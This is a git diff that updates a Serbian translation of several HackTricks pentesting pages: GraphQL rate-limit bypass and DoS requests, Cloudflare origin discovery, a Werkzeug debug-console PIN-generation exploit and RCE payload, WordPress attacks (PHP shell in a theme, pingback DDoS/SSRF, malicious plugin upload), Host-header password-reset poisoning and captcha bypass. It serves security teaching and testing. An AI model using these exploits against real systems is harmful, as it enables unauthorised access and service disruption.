-## Zaobilaženje ograničenja brzine korišćenjem aliasa u GraphQL-u +## Zaobilaženje ograničenja brzine korišćenjem aliasa u GraphQL -U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za dobijanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koja sprečavaju GraphQL objekte da imaju više svojstava sa istim imenom. +U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za preuzimanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koja sprečavaju GraphQL objekte da imaju više svojstava sa istim imenom. Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Aliasi](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine. -Razmotrite primer dat ispod, koji ilustruje kako se upiti sa aliasima mogu koristiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju brojnih kodova za popust istovremeno. +Razmotrite primer dat ispod, koji ilustruje kako se mogu koristiti aliasirani upiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju više kodova za popust istovremeno. ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -510,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -U ovom primeru, 10 različitih upita je grupisano u jedan zahtev, prisiljavajući server da izvrši sve njih istovremeno. Ako se iskoristi sa većim brojem upita ili računski skupim upitima, može preopteretiti server. +U ovom primeru, 10 različitih upita je grupisano u jedan zahtev, prisiljavajući server da izvrši sve njih simultano. Ako se iskoristi sa većim brojem upita ili računski skupim upitima, može preopteretiti server. -### **Ranljivost preopterećenja direktiva** +### **Vulnerabilnost preopterećenja direktiva** -**Preopterećenje direktiva** se dešava kada GraphQL server dozvoljava upite sa prekomernim, dupliciranim direktivama. Ovo može preopteretiti parser i izvršitelj servera, posebno ako server ponovo obrađuje istu logiku direktive. Bez pravilne validacije ili ograničenja, napadač može iskoristiti ovo kreiranjem upita sa brojnim dupliciranim direktivama kako bi izazvao visoku potrošnju resursa ili memorije, što dovodi do **Denial of Service (DoS)**. +**Preopterećenje direktiva** se dešava kada GraphQL server dozvoljava upite sa prekomernim, dupliciranim direktivama. Ovo može preopteretiti parser i izvršavača servera, posebno ako server ponovo obrađuje istu logiku direktive. Bez pravilne validacije ili ograničenja, napadač može iskoristiti ovo kreiranjem upita sa brojnim dupliciranim direktivama kako bi izazvao visoku potrošnju resursa ili memorije, što dovodi do **Denial of Service (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -538,9 +537,9 @@ curl -X POST \ ``` I zatim **koristite neke od prilagođenih**. -### **Ranljivost dupliranja polja** +### **Ranljivost duplikacije polja** -**Dupliranje polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Napada uskraćivanja usluge (DoS)**. +**Duplikacija polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Napada uskraćivanja usluge (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -551,9 +550,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ### Skeneri ranjivosti -- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene pogrešne konfiguracije graphql krajnjih tačaka +- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene greške u konfiguraciji graphql krajnjih tačaka - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripta za bezbednosno audiranje GraphQL-a sa fokusom na izvođenje serijskih GraphQL upita i mutacija. -- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje korišćeni graphql +- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje graphql koji se koristi - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje putanja do određenog tipa. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalni alat ili [Burp ekstenzija](https://github.com/doyensec/inql). - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada @@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ### Automatski testovi -{% embed url="https://graphql-dashboard.herokuapp.com/" %} +{{#ref}} +https://graphql-dashboard.herokuapp.com/ +{{#endref}} - Video koji objašnjava AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) @@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index 3700313a4..e1f06e253 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -1,8 +1,8 @@ -# Otkriće CloudFlare +# Otkrivanje CloudFlare {{#include ../../banners/hacktricks-training.md}} -## Uobičajene tehnike za otkrivanje Cloudflare-a +## Uobičajene tehnike za otkrivanje Cloudflare - Možete koristiti neku uslugu koja vam daje **istorijske DNS zapise** domena. Možda se veb stranica pokreće na IP adresi koja je korišćena ranije. - Isto se može postići **proverom istorijskih SSL sertifikata** koji bi mogli ukazivati na izvor IP adresu. @@ -12,7 +12,7 @@ - Na sličan način, umesto da tražite jedinstveni string, mogli biste pretraživati favicon ikonu pomoću alata: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ili sa [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) - Ovo neće često funkcionisati jer server mora slati isti odgovor kada se pristupi putem IP adrese, ali nikad ne znate. -## Alati za otkrivanje Cloudflare-a +## Alati za otkrivanje Cloudflare - Pretražujte domen unutar [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ili [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ili koristite alat [CloudPeler](https://github.com/zidansec/CloudPeler) (koji koristi tu API) - Pretražujte domen na [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) @@ -35,13 +35,15 @@ echo "Checking $ir" prips $ir | hakoriginfinder -h "$DOMAIN" done ``` -## Otkivanje Cloudflare iz Cloud infrastrukture +## Otkrivanje Cloudflare iz Cloud infrastrukture Imajte na umu da, čak i ako je ovo urađeno za AWS mašine, može se uraditi za bilo kog drugog provajdera u oblaku. Za bolji opis ovog procesa pogledajte: -{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} ```bash # Find open ports sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt @@ -98,7 +100,7 @@ Razvijeno je nekoliko Cloudflare rešenja: - [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape) - [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe) - [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver) -- [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Arhiviran] +- [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Arhivirano] - [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe) ### Ojačani headless pregledači @@ -118,7 +120,7 @@ Neki od njih su: - [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops) - [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops) - [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32) -- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) su poznati po svojim proprietarnim Cloudflare zaobilaženjima. +- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) su poznati po svojim vlasničkim Cloudflare zaobilaženjima. Za one koji traže optimizovano rešenje, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) se izdvaja. Ova usluga integriše više od 20 provajdera proxy-a u jedan API, automatski birajući najbolji i najisplativiji proxy za vaše ciljne domene, nudeći tako superiornu opciju za navigaciju Cloudflare-ovim odbranama. diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index 4928e7a83..ce41bc23c 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Console RCE Ako je debug aktivan, možete pokušati da pristupite `/console` i dobijete RCE. @@ -13,9 +12,9 @@ __import__('os').popen('whoami').read(); Takođe postoji nekoliko eksploita na internetu kao što je [ovaj](https://github.com/its-arun/Werkzeug-Debug-RCE) ili jedan u metasploit-u. -## Zaštićeno PIN-om - Putanja Traversal +## Zaštićeno PIN-om - Putanja Prelaz -U nekim slučajevima, **`/console`** krajnja tačka će biti zaštićena PIN-om. Ako imate **ranjivost u pretrazi datoteka**, možete otkriti sve potrebne informacije za generisanje tog PIN-a. +U nekim slučajevima, **`/console`** krajnja tačka će biti zaštićena PIN-om. Ako imate **ranjivost u prelazu datoteka**, možete otkriti sve potrebne informacije za generisanje tog PIN-a. ### Werkzeug Console PIN Eksploit @@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -Poruka u vezi sa scenarijom "konzola zaključana" se pojavljuje kada se pokušava pristupiti Werkzeug-ovom debug interfejsu, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlaže se da se iskoristi konzolni PIN analizom algoritma za generisanje PIN-a u Werkzeug-ovom inicijalizacionom fajlu (`__init__.py`). Mehanizam generisanja PIN-a može se proučiti iz [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), iako se savetuje da se pribavi stvarni kod servera putem ranjivosti u pretraživanju fajlova zbog mogućih razlika u verzijama. +Poruka u vezi sa scenarijom "konzola zaključana" se pojavljuje kada se pokušava pristupiti Werkzeug-ovom debug interfejsu, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlaže se da se iskoristi konzolni PIN analizom algoritma za generisanje PIN-a u Werkzeug-ovom inicijalizacionom fajlu (`__init__.py`). Mehanizam generisanja PIN-a može se proučiti iz [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), iako se savetuje da se stvarni kod servera pribavi putem ranjivosti u pretraživanju fajlova zbog mogućih razlika u verzijama. Da bi se iskoristio konzolni PIN, potrebna su dva skupa varijabli, `probably_public_bits` i `private_bits`: @@ -40,7 +39,7 @@ Da bi se iskoristio konzolni PIN, potrebna su dva skupa varijabli, `probably_pub - **`uuid.getnode()`**: Dohvata MAC adresu trenutne mašine, pri čemu `str(uuid.getnode())` prevodi u decimalni format. -- Da bi se **odredila MAC adresa servera**, potrebno je identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr., `ens3`). U slučajevima nesigurnosti, **procurite `/proc/net/arp`** da biste pronašli ID uređaja, zatim **izvucite MAC adresu** iz **`/sys/class/net//address`**. +- Da bi se **odredila MAC adresa servera**, potrebno je identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr., `ens3`). U slučajevima nesigurnosti, **procurite `/proc/net/arp`** da pronađete ID uređaja, zatim **izvucite MAC adresu** iz **`/sys/class/net//address`**. - Konverzija heksadecimalne MAC adrese u decimalnu može se izvršiti kao što je prikazano u nastavku: ```python @@ -49,11 +48,11 @@ Da bi se iskoristio konzolni PIN, potrebna su dva skupa varijabli, `probably_pub 94558041547692 ``` -- **`get_machine_id()`**: Spaja podatke iz `/etc/machine-id` ili `/proc/sys/kernel/random/boot_id` sa prvom linijom `/proc/self/cgroup` posle poslednjeg kosa (`/`). +- **`get_machine_id()`**: Spaja podatke iz `/etc/machine-id` ili `/proc/sys/kernel/random/boot_id` sa prvom linijom iz `/proc/self/cgroup` posle poslednjeg kosa (`/`).
-Kod za `get_machine_id()` +Code for `get_machine_id()` ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id @@ -93,9 +92,9 @@ try: ```
-Kada se prikupe svi potrebni podaci, eksploatacijski skript se može izvršiti da generiše Werkzeug konzolni PIN: +Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN: -Kada se prikupe svi potrebni podaci, eksploatacijski skript se može izvršiti da generiše Werkzeug konzolni PIN. Skript koristi sastavljene `probably_public_bits` i `private_bits` da kreira hash, koji zatim prolazi kroz dalju obradu kako bi se dobio konačni PIN. Ispod je Python kod za izvršavanje ovog procesa: +Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN. Skripta koristi sastavljene `probably_public_bits` i `private_bits` da kreira heš, koji zatim prolazi kroz dalju obradu kako bi proizveo konačni PIN. Ispod je Python kod za izvršavanje ovog procesa: ```python import hashlib from itertools import chain @@ -144,7 +143,7 @@ print(rv) Ovaj skript proizvodi PIN tako što hešira spojene bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da se stvarne vrednosti za `probably_public_bits` i `private_bits` moraju tačno dobiti iz ciljanog sistema kako bi se osiguralo da generisani PIN odgovara onom koji očekuje Werkzeug konzola. > [!TIP] -> Ako ste na **staroj verziji** Werkzeug-a, pokušajte da promenite **heš algoritam na md5** umesto sha1. +> Ako ste na **starijoj verziji** Werkzeug-a, pokušajte da promenite **heš algoritam na md5** umesto sha1. ## Werkzeug Unicode karakteri @@ -154,7 +153,9 @@ To je zato što je u Werkzeug-u moguće poslati neke **Unicode** karaktere i to ## Automatizovana Eksploatacija -{% embed url="https://github.com/Ruulian/wconsole_extractor" %} +{{#ref}} +https://github.com/Ruulian/wconsole_extractor +{{#endref}} ## Reference @@ -163,5 +164,4 @@ To je zato što je u Werkzeug-u moguće poslati neke **Unicode** karaktere i to - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 868a3e261..c04f30cce 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -7,9 +7,9 @@ - **Uploaded** datoteke idu na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Teme se mogu naći u /wp-content/themes/,** tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** **404.php** datoteci u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Još jedan koristan URL može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Još jedna korisna adresa može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- U **wp-config.php** možete pronaći root lozinku baze podataka. +- U **wp-config.php** možete pronaći lozinku za root korisnika baze podataka. - Podrazumevani putanje za prijavu koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Glavne WordPress datoteke** @@ -79,9 +79,9 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ``` ## Aktivna enumeracija -### Plugin-i i Teme +### Pluginovi i teme -Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste otkrili sve njih, biće vam potrebno da **aktivno Brute Force-ujete listu Plugin-a i Tema** (nadamo se da postoje automatski alati koji sadrže ove liste). +Verovatno nećete moći da pronađete sve moguće Pluginove i teme. Da biste otkrili sve njih, biće vam potrebno da **aktivno Brute Force-ujete listu Pluginova i tema** (na sreću, postoje automatski alati koji sadrže ove liste). ### Korisnici @@ -179,7 +179,7 @@ Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava **DDoS ili skeniranje portova** Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.\ -Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** na toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port). +Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port). ```markup pingback.ping @@ -225,7 +225,9 @@ Ovo je odgovor kada ne funkcioniše: ## SSRF -{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} +{{#ref}} +https://github.com/t0gu/quickpress/blob/master/core/requests.go +{{#endref}} Ovaj alat proverava da li **methodName: pingback.ping** postoji za putanju **/wp-json/oembed/1.0/proxy** i ako postoji, pokušava da ih iskoristi. @@ -246,7 +248,7 @@ return new WP_Error( **Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)** -Izgled → Uređivač tema → 404 Šablon (s desne strane) +Izgled → Urednik teme → 404 Šablon (s desne strane) Promenite sadržaj za php shell: @@ -302,7 +304,7 @@ Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranji 3. **Aktivacija plugina**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu. 4. **Eksploatacija**: - Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv. -- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu. +- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande, može se uspostaviti meterpreter sesija, što omogućava neovlašćen pristup sajtu. - Napominje se da je ovo samo jedna od mnogih metoda za eksploataciju WordPress sajta. Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je eksploatacija ranjivosti na ovaj način ilegalna i neetična bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom. @@ -316,7 +318,7 @@ Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolno - _**(RCE) Upload prilagođenog plugina (backdoor):**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress. - _**(RCE) Uređivanje ugrađenog plugina:**_ Uredite ugrađene plugine u WordPress-u. - _**(RCE) Uređivanje ugrađene teme:**_ Uredite ugrađene teme u WordPress-u. -- _**(Prilagođeno) Prilagođeni exploit-i:**_ Prilagođeni exploit-i za treće strane WordPress plugine/teme. +- _**(Prilagođeno) Prilagođeni eksploati:**_ Prilagođeni eksploati za treće strane WordPress plugine/teme. ## Post Eksploatacija @@ -336,7 +338,7 @@ Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno - **`wp_ajax`** -Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, prilično je često da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge). +Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge). Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku: ```php @@ -362,7 +364,7 @@ $this->namespace, '/get/', array( ``` `permission_callback` je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu. -**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru dozvola korisnika.** +**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.** - **Direktan pristup php datoteci** diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index 2cfc65c7a..bc434d239 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -2,37 +2,36 @@ {{#include ./banners/hacktricks-training.md}} - ### Host header -Više puta back-end veruje **Host header** da izvrši neke akcije. Na primer, može koristiti njegovu vrednost kao **domen za slanje resetovanja lozinke**. Tako kada primite email sa linkom za resetovanje lozinke, domen koji se koristi je onaj koji ste stavili u Host header. Tada možete zatražiti resetovanje lozinke drugih korisnika i promeniti domen na onaj koji kontrolišete kako biste ukrali njihove kodove za resetovanje lozinke. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +Nekoliko puta back-end veruje **Host header** da izvrši neke radnje. Na primer, može koristiti njegovu vrednost kao **domen za slanje resetovanja lozinke**. Tako kada primite email sa linkom za resetovanje lozinke, domen koji se koristi je onaj koji ste stavili u Host header. Tada možete zatražiti resetovanje lozinke drugih korisnika i promeniti domen na onaj koji kontrolišete kako biste ukrali njihove kodove za resetovanje lozinke. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] > Imajte na umu da je moguće da ne morate ni da čekate da korisnik klikne na link za resetovanje lozinke da biste dobili token, jer možda čak i **spam filteri ili drugi posrednički uređaji/botovi će kliknuti na njega da ga analiziraju**. - ### Session booleans -Nekada kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosnu atribut vaše sesije**. Tada, druga tačka će znati da ste uspešno prošli tu proveru.\ +Nekada kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosni atribut vaše sesije**. Tada će druga tačka znati da ste uspešno prošli tu proveru.\ Međutim, ako **prođete proveru** i vašoj sesiji je dodeljena ta "True" vrednost u sigurnosnom atributu, možete pokušati da **pristupite drugim resursima** koji **zavise od istog atributa** ali za koje **ne biste trebali imati dozvole** za pristup. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). -### Register functionality +### Registracija funkcionalnosti Pokušajte da se registrujete kao već postojeći korisnik. Takođe pokušajte koristiti ekvivalentne karaktere (tačke, puno razmaka i Unicode). -### Takeover emails +### Preuzimanje emailova Registrujte email, pre nego što ga potvrdite promenite email, zatim, ako je novi email za potvrdu poslat na prvi registrovani email, možete preuzeti bilo koji email. Ili ako možete omogućiti drugi email koji potvrđuje prvi, takođe možete preuzeti bilo koji nalog. -### Access Internal servicedesk of companies using atlassian +### Pristup internom servisnom stolu kompanija koristeći atlassian -{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} +{{#ref}} +https://yourcompanyname.atlassian.net/servicedesk/customer/user/login +{{#endref}} -### TRACE method +### TRACE metoda Programeri mogu zaboraviti da onemoguće razne opcije za debagovanje u produkcionom okruženju. Na primer, HTTP `TRACE` metoda je dizajnirana za dijagnostičke svrhe. Ako je omogućena, web server će odgovoriti na zahteve koji koriste `TRACE` metodu tako što će u odgovoru ponoviti tačan zahtev koji je primljen. Ovo ponašanje je često bezopasno, ali povremeno dovodi do otkrivanja informacija, kao što su imena internih autentifikacionih zaglavlja koja mogu biti dodata zahtevima od strane obrnjenih proksija.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index 8bb4488f5..ef9e0c082 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -4,7 +4,7 @@ ## Bypass Captcha -Da bi se **zaobišao** captcha tokom **testiranja servera** i automatizovale funkcije unosa korisnika, mogu se primeniti različite tehnike. Cilj nije da se potkopa sigurnost, već da se pojednostavi proces testiranja. Evo sveobuhvatne liste strategija: +Da bi se **zaobišao** captcha tokom **testiranja servera** i automatizovale funkcije unosa korisnika, mogu se primeniti različite tehnike. Cilj nije da se potkopa bezbednost, već da se pojednostavi proces testiranja. Evo sveobuhvatne liste strategija: 1. **Manipulacija parametrima**: - **Izostavi Captcha Parametar**: Izbegavajte slanje captcha parametra. Eksperimentišite sa promenom HTTP metode sa POST na GET ili druge glagole, i menjajte format podataka, kao što je prelazak između form data i JSON. @@ -12,7 +12,7 @@ Da bi se **zaobišao** captcha tokom **testiranja servera** i automatizovale fun 2. **Ekstrakcija i Ponovna Upotreba Vrednosti**: - **Inspekcija Izvora Koda**: Pretražujte captcha vrednost unutar izvornog koda stranice. - **Analiza Kolačića**: Istražite kolačiće da biste saznali da li je captcha vrednost sačuvana i ponovo korišćena. -- **Ponovna Upotreba Starih Captcha Vrednosti**: Pokušajte ponovo da koristite prethodno uspešne captcha vrednosti. Imajte na umu da mogu isteći u bilo kojem trenutku. +- **Ponovna Upotreba Starih Captcha Vrednosti**: Pokušajte ponovo da koristite prethodno uspešne captcha vrednosti. Imajte na umu da one mogu isteći u bilo kojem trenutku. - **Manipulacija Sesijom**: Pokušajte koristiti istu captcha vrednost kroz različite sesije ili isti ID sesije. 3. **Automatizacija i Prepoznavanje**: - **Matematički Captcha**: Ako captcha uključuje matematičke operacije, automatizujte proces izračunavanja. @@ -21,17 +21,19 @@ Da bi se **zaobišao** captcha tokom **testiranja servera** i automatizovale fun - Koristite alate za optičko prepoznavanje karaktera (OCR) kao što je [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) za automatizaciju čitanja karaktera sa slika. 4. **Dodatne Tehnike**: - **Testiranje Ograničenja Brzine**: Proverite da li aplikacija ograničava broj pokušaja ili podnošenja u datom vremenskom okviru i da li se ovo ograničenje može zaobići ili resetovati. -- **Usluge Trećih Strana**: Koristite usluge ili API-je za rešavanje captche koje nude automatsko prepoznavanje i rešavanje captche. +- **Usluge Trećih Strana**: Koristite usluge ili API-je za rešavanje captcha koje nude automatsko prepoznavanje i rešavanje captchi. - **Rotacija Sesija i IP Adresa**: Često menjajte ID sesija i IP 